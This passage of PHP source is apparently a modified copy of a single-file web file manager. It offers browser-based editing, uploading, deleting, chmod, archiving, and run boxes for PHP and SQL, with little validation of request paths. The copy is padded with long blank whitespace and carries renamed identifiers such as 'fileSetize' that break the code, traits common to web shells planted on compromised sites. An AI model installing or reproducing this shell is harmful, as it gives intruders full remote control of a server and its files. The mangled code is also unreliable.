        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>
</tr>

<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">

            <input type="submit" name="cancel" value="<?=__('Cancel')?>">

        </form>

    </td>

</tr>
</table>
                           
<?php
                        
echo $auth_local['script'];
} elseif(!empty($_REQUEST['rights'])){
                                     
	if(!empty($_REQUEST['save'])) {
                         
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		         $msg .= (__('File updated')); 

		         else $msg .= (__('Error occurred'));

	}
	clearstatcache();
                                  
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;

?>
                         
<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
                                  
<tr>

    <td class="row1">

        <?=$msg?>
                            
	</td>

</tr>

<tr>

    <td class="row1">
                                 
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
                        
</tr>
                                    
<tr>

    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                 
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
                          
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
                                     
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
                            
</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
                               
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		         $msg .= (__('File updated'));
		         $_REQUEST['rename'] = $_REQUEST['newname'];
                          
	}

	clearstatcache();

    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
                        


?>

<table class="whole">
                                
<tr>

    <th><?=__('File manager').' - '.$path?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>
	</td>
                           
</tr>

<tr>

    <td class="row1">

        <a href="<?=$backlink?>"><?=__('Back')?></a>
                                      
	</td>

</tr>
<tr>
    <td class="row1" align="center">

        <form name="form1" method="post" action="<?=$link?>">
                                        
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>

    </td>

</tr>
</table>

<?php
                                
} else {

//Let's rock!

    $msg = '';

    if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) {
                          
        if(!empty($_FILES['upload']['name'])){

            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
                             
		         		         $msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
		         	}

        }
                             
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
                        
        if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) {

            $msg .= __('Error occurred');
        } else {

		         	$msg .= __('Deleted').' '.$_REQUEST['delete'];

		         }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) {

        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

            $msg .= __('Error occurred');
                              
        } else {

		         	$msg .= __('Created').' '.$_REQUEST['dirname'];
                         
		         }

    } elseif(!empty($_POST['search_recursive'])) {
                        
		         ini_set('max_execution_time', '0');

		         $search_data =  find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		         if(!empty($search_data)) {

		         	$msg .= __('Found in fileSet').' ('.count($search_data).'):<br>';

		         	foreach ($search_data as $filename) {

		         		         $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		         	}

		         } else {
		         	$msg .= __('Nothing founded');
		         }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) {
                        
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg .= __('Error occurred');

        } else {

		         	fclose($fp);
                                   
		         	$msg .= __('Created').' '.$_REQUEST['filename'];

		         }

    } elseif (isset($_GET['zip'])) {
                                  
		         $source = base64_decode($_GET['zip']);

		         $destination = basename($source).'.zip';
		         set_time_limit(0);
		         $phar = new PharData($destination);

		         $phar->buildFromDirectory($source);

		         if (is_file($destination))

		         $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		         '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                       
		         .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
                                   
		         else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['gz'])) {
                               
		         $source = base64_decode($_GET['gz']);

		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';

		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         clearstatcache();

		         set_time_limit(0);
                             
		         //die();
		         $phar = new PharData($destination);
		         $phar->buildFromDirectory($source);
                              
		         $phar->compress(Phar::GZ,'.tar.gz');
                                   
		         unset($phar);
		         if (is_file($archive)) {
		         	if (is_file($archive.'.gz')) {

		         		         unlink($archive); 
		         		         $destination .= '.gz';

		         	}





		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                                 
		         	
                    
                    .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');

	} elseif (isset($_GET['decompress'])) {
                                       
		         // $source = base64_decode($_GET['decompress']);
		         // $destination = basename($source);
		         // $ext = end(explode(".", $destination));
		         // if ($ext=='zip' OR $ext=='gz') {

		         	// $phar = new PharData($source);
		         	// $phar->decompress();

		         	// $base_file = str_replace('.'.$ext,'',$destination);

		         	// $ext = end(explode(".", $base_file));

		         	// if ($ext=='tar'){
		         		         // $phar = new PharData($base_file);

		         		         // $phar->extractTo(dir($source));
		         	// }
		         // } 
		         // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
                                        
	} elseif (isset($_GET['gzfile'])) {

		         $source = base64_decode($_GET['gzfile']);
		         $archive = $source.'.tar';

		         $destination = basename($source).'.tar';
                               
		         if (is_file($archive)) unlink($archive);

		         if (is_file($archive.'.gz')) unlink($archive.'.gz');

		         set_time_limit(0);

		         //echo $destination;

		         $ext_arr = explode('.',basename($source));

		         if (isset($ext_arr[1])) {
                                       
		         	unset($ext_arr[0]);

		         	$ext=implode('.',$ext_arr);

		         } 

		         $phar = new PharData($destination);
                            
		         $phar->addFile($source);

		         $phar->compress(Phar::GZ,$ext.'.tar.gz');

		         unset($phar);

		         if (is_file($archive)) {

		         	if (is_file($archive.'.gz')) {
                               
		         		         unlink($archive); 

		         		         $destination .= '.gz';

		         	}
		         	$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
                           
		         	'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		         	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		         } else $msg .= __('Error occurred').': '.__('no fileSet');
                         
	}

?>





<table class="whole" id="header_table" >

<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>
<?php if(!empty($msg)){ ?>

<tr>

	<td colspan="2" class="row2"><?=$msg?></td>
                          
</tr>

<?php } ?>
<tr>
    <td class="row2">
                                 
		         <table>
                                      
		         	<tr>
                                      
		         	<td>
		         		         <?=fm_home()?>

		         	</td>

                    


		         	<td>

		         	<?php if(!empty($fms_config['make_directory'])) { ?>
                                  
		         		         <form method="post" action="<?=$url_inc?>">
                             
		         		         <input type="hidden" name="path" value="<?=$path?>" />

		         		         <input type="text" name="dirname" size="15">
                                       
		         		         <input type="submit" name="mkdir" value="<?=__('Make directory')?>">
		         		         </form>
                                
		         	<?php } ?>
                                   
		         	
                
                
                </td>

		         	<td>
		         	<?php if(!empty($fms_config['new_file'])) { ?>
		         		         <form method="post" action="<?=$url_inc?>">

		         		         <input type="hidden" name="path"     value="<?=$path?>" />
		         		         <input type="text"   name="filename" size="15">
                            
		         		         <input type="submit" name="mkfile"   value="<?=__('New file')?>">
                         
		         		         </form>

		         	<?php } ?>
		         	</td>

		         	<td>
		         		         <form  method="post" action="<?=$url_inc?>" style="display:inline">

		         		         <input type="hidden" name="path" value="<?=$path?>" />
		         		         <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
		         		         <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
                                   
		         		         <input type="submit" name="search" value="<?=__('Search')?>">
		         		         </form>
                             
		         	</td>
                            
		         	<td>
                                 
		         	<?=fm_run_input('php')?>

		         	</td>
                                        
		         	<td>
                              
		         	<?=fm_run_input('sql')?>

		         	</td>

		         	</tr>

		         </table>

    </td>
                                        
    <td class="row3">

		         <table>

		         <tr>
                                     
		         <td>

		         <?php if (!empty($fms_config['upload_myfile'])) { ?>

		         	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

		         	<input type="hidden" name="path" value="<?=$path?>" />

		         	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		         	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
		         	<input type="submit" name="test" value="<?=__('Upload')?>" />

		         	</form>

		         <?php } ?>
		         </td>
		         <td>

		         <?php if ($auth_local['authorize']) { ?>
		         	<form action="" method="post">&nbsp;&nbsp;&nbsp;

		         	<input name="quit" type="hidden" value="1">




		         	<?=__('Hello')?>, <?=$auth_local['login']?>
                             
		         	<input type="submit" value="<?=__('Quit')?>">
                                      
		         	</form>
		         <?php } ?>

		         </td>

		         <td>
		         <?=fm_lang_form($language)?>
		         </td>
		         <tr>

		         </table>
                                   
    </td>

</tr>
                          
</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
<tr> 
                                        
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
                              
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>
</thead>
                             
<tbody>




<?php
                                       
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();
                                
$fileSet = array();
                                
foreach ($elements as $file){

    if(@is_dir($path . $file)){
        $dirs[] = $file;



    } else {

        $fileSet[] = $file;

    }

}
natsort($dirs); natsort($fileSet);
                         
$elements = array_merge($dirs, $fileSet);



foreach ($elements as $file){

    $filename = $path . $file;
                                
    $filedata = @stat($filename);

    if(@is_dir($filename)){
		         $filedata[7] = '';

		         if (!empty($fms_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                            
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
                             
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		         $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';

		          if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                          
    } else {
		         $link = 

		         	$fms_config['show_img']&&@getimagesize($filename) 

		         	? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
                        
		         	. fm_img_link($filename)

		         	.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
                                        
		         	: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		         $e_arr = explode(".", $file);

		         $ext = end($e_arr);
                                  
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		         $arlink = in_array($ext,array('zip','gz','tar')) 
                                
		         ? ''
		         : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';
		         $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
                                 
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>

<tr class="<?=$style?>"> 

    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
                                      
    <td><?=$arlink?></td>
</tr>
<?php
    }
}

?>

</tbody>

</table>

<div class="row3"><?php

	$mtime_share = explode(' ', microtime()); 
	



    $totaltime = $mtime_share[0] + $mtime_share[1] - $starttime; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fms_config['show_php_ver'])) echo ' | PHP '.phpversion();







	if (!empty($fms_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
                             
	if (!empty($fms_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	
    
    
    if (!empty($fms_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
                         
	if (!empty($fms_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	
    
    
    if (!empty($fms_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
                        
	if (!empty($fms_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>
<script type="text/javascript">
                                        
function download_xls(filename, text) {

	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);
	element.style.display = 'none';

	document.body.appendChild(element);
	element.click();

	document.body.removeChild(element);
                                     
}



function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		         c = m.charCodeAt(l);

		         if (128 > c) d = 1;

		         else

		         	for (d = 2; c >= 2 << 5 * d;) ++d;
		         for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}
	b && (g += k[f << 6 - b]);
	return g

}



var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {

            return s.replace(/{(\w+)}/g, function(m, p) {
                                  
                return c[p];
            })

        }
                          
    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)
                               
        var ctx = {
                                 
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		         t = new Date();
		         filename = 'fm_' + t.toISOString() + '.xls'

		         download_xls(filename, base64_encode(format(template, ctx)))

    }

})();


var table2Excel = function () {


    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");
                                

	this.CreateExcelSheet = 

		         function(el, name){
		         	if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



		         		         var x = document.getElementById(el).rows;



		         		         var xls = new ActiveXObject("Excel.Application");



		         		         xls.visible = true;
		         		         xls.Workbooks.Add
		         		         for (i = 0; i < x.length; i++) {

		         		         	var y = x[i].cells;
                                 


		         		         	for (j = 0; j < y.length; j++) {
                        
		         		         		         xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		         		         	}
		         		         }
                                        
		         		         xls.Visible = true;
		         		         xls.UserControl = true;

	
    
    	         		         return xls;
                                
		         	} else {

		         		         tableToExcelData(el, name);

		         	}

		         }

}
                                        
</script>

</body>

</html>
                                   


<?php








// Multa File Manager exemplaria fiunt cum functionibus extensivis et personalizabilibus



class archiveTar {

	var $archiveTitle = '';
                          
	var $temporaryFile = 0;

	var $filePointer = 0;
	var $isCompressedFile = true;
                           
	var $errorList = array();
                         
	var $fileSet = array();

	
                            
	function __construct(){

		         if (!isset($this->errorList)) $this->errorList = array();

	}
	
	function buildArchivePackage($file_list){

		         $result = false;
                           
		         if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) 	$newArchive = false;
		         else $newArchive = true;
		         if ($newArchive){
                                       
		         	if (!$this->initiateFileWrite()) return false;
		         } else {

		         	if (fileSetize($this->archiveTitle) == 0)	return $this->initiateFileWrite();

		         	if ($this->isCompressedFile) {

		         		         $this->finalizeTempFile();
		         		         if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){
		         		         	$this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp';

		         		         	return false;
		         		         }
                             
		         		         $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb');

		         		         if (!$tmpArchive){



                                    $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable');
                         
		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);

		         		         	return false;
                                     
		         		         }

		         		         if (!$this->initiateFileWrite()){

                                    

		         		         	rename($this->archiveTitle.'.tmp', $this->archiveTitle);
                               
		         		         	return false;

		         		         }

		         		         $buffer = gzread($tmpArchive, 512);

		         		         if (!gzeof($tmpArchive)){
                          
		         		         	do {

		         		         		         $binaryData = pack('a512', $buffer);

		         		         		         $this->saveDataBlock($binaryData);
                                  
		         		         		         $buffer = gzread($tmpArchive, 512);
		         		         	}
		         		         	while (!gzeof($tmpArchive));
		         		         }
                              
		         		         gzclose($tmpArchive);
		         		         unlink($this->archiveTitle.'.tmp');
		         	} else {

		         		         $this->temporaryFile = fopen($this->archiveTitle, 'r+b');
                                        
		         		         if (!$this->temporaryFile)	return false;
		         	}

		         }
		         if (isset($file_list) && is_array($file_list)) {
                                        
		         if (count($file_list)>0)

		         	$result = $this->bundleFilesIntoArchive($file_list);
		         } else $this->errorList[] = __('No file').__(' to ').__('Archive');
		         if (($result)&&(is_resource($this->temporaryFile))){

		         	$binaryData = pack('a512', '');
		         	$this->saveDataBlock($binaryData);
                                  
		         }
                               
		         $this->finalizeTempFile();

		         if ($newArchive && !$result){

		         $this->finalizeTempFile();
		         unlink($this->archiveTitle);

		         }
		         return $result;
                             
	}


                                       
	function recoverArchive($path){
		         $fileName = $this->archiveTitle;

		         if (!$this->isCompressedFile){

		         	if (file_exists($fileName)){
                         
		         		         if ($fp = fopen($fileName, 'rb')){

		         		         	$data = fread($fp, 2);
                                  
		         		         	fclose($fp);

		         		         	if ($data == '\37\213'){
                                
		         		         		         $this->isCompressedFile = true;
                            
		         		         	}

		         		         }

		         	}
		         	elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true;
                                       
		         } 
		         $result = true;
                           
		         if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb');

		         else $this->temporaryFile = fopen($fileName, 'rb');

		         if (!$this->temporaryFile){

		         	$this->errorList[] = $fileName.' '.__('is not readable');
		         	return false;

		         }

		         $result = $this->unbundleFilesIntoArchive($path);

		         	$this->finalizeTempFile();

		         return $result;

	}



	function displayErrorLogs	($message = '') {
		         $Errors = $this->errorList;
                          
		         if(count($Errors)>0) {

		         if (!empty($message)) $message = ' ('.$message.')';
		         	$message = __('Error occurred').$message.': <br/>';
		         	foreach ($Errors as $value)

		         		         $message .= $value.'<br/>';

		         	return $message;	

		         } else return '';

		         
                          
	}
	

	function bundleFilesIntoArchive($file_array){
		         $result = true;

		         if (!$this->temporaryFile){
		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;

		         }

		         if (!is_array($file_array) || count($file_array)<=0)
                        
          return true;

		         for ($i = 0; $i<count($file_array); $i++){

		         	$filename = $file_array[$i];
		         	if ($filename == $this->archiveTitle)

		         		         continue;
                                     
		         	if (strlen($filename)<=0)
                                      
		         		         continue;

		         	if (!file_exists($filename)){
		         		         $this->errorList[] = __('No file').' '.$filename;

		         		         continue;
		         	}

		         	if (!$this->temporaryFile){

		         	$this->errorList[] = __('Invalid file descriptor');

		         	return false;
		         	}
                               
		         if (strlen($filename)<=0){
		         	$this->errorList[] = __('Filename').' '.__('is incorrect');;
		         	return false;
		         }
		         $filename = str_replace('\\', '/', $filename);
		         $keep_filename = $this->generateValidPath($filename);
		         if (is_file($filename)){
		         	if (($file = fopen($filename, 'rb')) == 0){
                                    
		         		         $this->errorList[] = __('Mode ').__('is incorrect');

		         	}
		         		         if(($this->filePointer == 0)){

		         		         	if(!$this->insertHeaderInfo($filename, $keep_filename))
		         		         		         return false;

		         		         }

		         		         while (($buffer = fread($file, 512)) != ''){

		         		         	$binaryData = pack('a512', $buffer);
		         		         	$this->saveDataBlock($binaryData);
		         		         }

		         	fclose($file);
		         }	else $this->insertHeaderInfo($filename, $keep_filename);
                                       
		         	if (@is_dir($filename)){

		         		         if (!($handle = opendir($filename))){
		         		         	$this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
		         		         	continue;

		         		         }

		         		         while (false !== ($dir = readdir($handle))){
		         		         	if ($dir!='.' && $dir!='..'){

		         		         		         $file_array_tmp = array();

		         		         		         if ($filename != '.')

		         		         		         	$file_array_tmp[] = $filename.'/'.$dir;

		         		         		         else

		         		         		         	$file_array_tmp[] = $dir;


                                       
		         		         		         $result = $this->bundleFilesIntoArchive($file_array_tmp);

		         		         	}

		         		         }




		         		         unset($file_array_tmp);
		         		         unset($dir);

		         		         unset($handle);

		         	}

		         }
                         
		         return $result;

	}



	function unbundleFilesIntoArchive($path){ 

		         $path = str_replace('\\', '/', $path);
		         if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
                             
		         clearstatcache();
		         while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
                         
		         	if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         	if ($header['filename'] == '') continue;
                            
		         	if ($header['typeflag'] == 'L'){		         	//reading long header
                                
		         		         $filename = '';
                               
		         		         $decr = floor($header['size']/512);

		         		         for ($i = 0; $i < $decr; $i++){

		         		         	$content = $this->retrieveDataBlock();
		         		         	$filename .= $content;
                                       
		         		         }

		         		         if (($laspiece = $header['size'] % 512) != 0){
		         		         	$content = $this->retrieveDataBlock();

		         		         	$filename .= substr($content, 0, $laspiece);

		         		         }
		         		         $binaryData = $this->retrieveDataBlock();
		         		         if (!$this->fetchHeaderInfo($binaryData, $header)) return false;

		         		         else $header['filename'] = $filename;

		         		         return true;
                        
		         	}

		         	if (($path != './') && ($path != '/')){
		         		         while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
		         		         if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                            
		         		         else $header['filename'] = $path.'/'.$header['filename'];

		         	}

		         	
		         	if (file_exists($header['filename'])){

		         		         if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
		         		         	$this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

		         		         	return false;

		         		         }

		         		         if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

		         		         	$this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

		         		         	return false;
                           
		         		         }
                                   
		         		         if (!is_writeable($header['filename'])){

		         		         	$this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
		         		         	return false;
		         		         }
                                
		         	} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
                                      
		         		         $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

		         		         return false;
                        
		         	}



		         	if ($header['typeflag'] == '5'){
                                   
		         		         if (!file_exists($header['filename']))		         {
                                 
		         		         	if (!mkdir($header['filename'], 0777))	{

		         		         		         
		         		         		         $this->errorList[] = __('Cannot create directory').' '.$header['filename'];

		         		         		         return false;

		         		         	} 
		         		         }
                             
		         	} else {

		         		         if (($destination = fopen($header['filename'], 'wb')) == 0) {
                        
		         		         	$this->errorList[] = __('Cannot write to file').' '.$header['filename'];

		         		         	return false;

		         		         } else {

		         		         	$decr = floor($header['size']/512);

		         		         	for ($i = 0; $i < $decr; $i++) {

		         		         		         $content = $this->retrieveDataBlock();

		         		         		         fwrite($destination, $content, 512);

		         		         	}
                         
		         		         	if (($header['size'] % 512) != 0) {

		         		         		         $content = $this->retrieveDataBlock();
		         		         		         fwrite($destination, $content, ($header['size'] % 512));

		         		         	}

		         		         	fclose($destination);
		         		         	touch($header['filename'], $header['time']);

		         		         }
		         		         clearstatcache();
                                     
		         		         if (fileSetize($header['filename']) != $header['size']) {
                            
		         		         	$this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
		         		         	return false;
                                   
		         		         }

		         	}
		         	if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
		         	if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
		         	$this->dirs[] = $file_dir;
                        
		         	$this->fileSet[] = $header['filename'];
	
		         }

		         return true;
	}

                                
	function dirCheck($dir){

		         $parent_dir = dirname($dir);
                                   

                                 
		         if ((@is_dir($dir)) or ($dir == ''))
                                        
		         	return true;


		         if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

		         	return false;

                                     
		         if (!mkdir($dir, 0777)){
		         	$this->errorList[] = __('Cannot create directory').' '.$dir;

		         	return false;

		         }

		         return true;
	}


	function fetchHeaderInfo($binaryData, &$header){
		         if (strlen($binaryData)==0){
		         	$header['filename'] = '';
		         	return true;
                                        
		         }


                                    
		         if (strlen($binaryData) != 512){
		         	$header['filename'] = '';

		         	$this->__('Invalid block size').': '.strlen($binaryData);
		         	return false;

		         }


		         $fileHash = 0;
		         for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1));

		         for ($i = 148; $i < 156; $i++) $fileHash += ord(' ');
		         for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1));


		         $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
                                  


